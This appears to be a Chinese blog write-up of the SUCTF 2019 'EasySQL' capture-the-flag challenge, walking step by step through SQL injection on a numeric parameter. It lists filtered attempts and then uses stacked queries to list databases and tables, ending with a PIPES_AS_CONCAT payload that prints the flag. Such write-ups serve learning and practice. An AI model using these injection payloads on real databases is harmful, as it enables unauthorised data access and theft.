[SUCTF 2019]EasySQL

题目链接

考点分析

本题考查sql注入相关知识

知识链接

我的上一篇博文

解题步骤

(1) 寻找注入点

首先判断注入参数类型(字符型,数字型)
输入 1' 无报错无回显
输入 1 及任意数字均有回显
(1) => 判断注入类型为数字型
(2) => 判断无法报错注入

(2)尝试注入

发现题目过滤许多关键字 如: union,prepare,handler
试用联合查询 1 order by 2 #
返回

Nonono.

试用布尔盲注1 and length(database())>=1#
返回

Nonono.

试用时间盲注1 and if(length(database())>=1,1,sleep(5))#
返回

Nonono.
但是可以 堆叠注入 一着不慎 全盘皆输
(3) 爆数据库

输入 1;show databases;#
返回

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
(4) 爆表

输入 1;show tables;#
返回

Array ( [0] => 1 ) Array ( [0] => Flag )
(5) 决胜时刻

看到Flag近在眼前心中一片窃喜,可是该如何取出它呢?
前面提到许多关键字被过滤,无法使用1;select * from Flag;#查询
在一番尝试后最终未能解出前功尽弃啊~
查阅大佬wp发现比赛时泄露了源码 啊这

select $_GET['query'] || flag from flag

晕,这谁想得到?
于是思路来了:
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能
最终payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
返回

Array ( [0] => 1 ) Array ( [0] => 1flag{3566fcfb-f828-4f84-840f-461d2750e6ed} )

大功告成

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值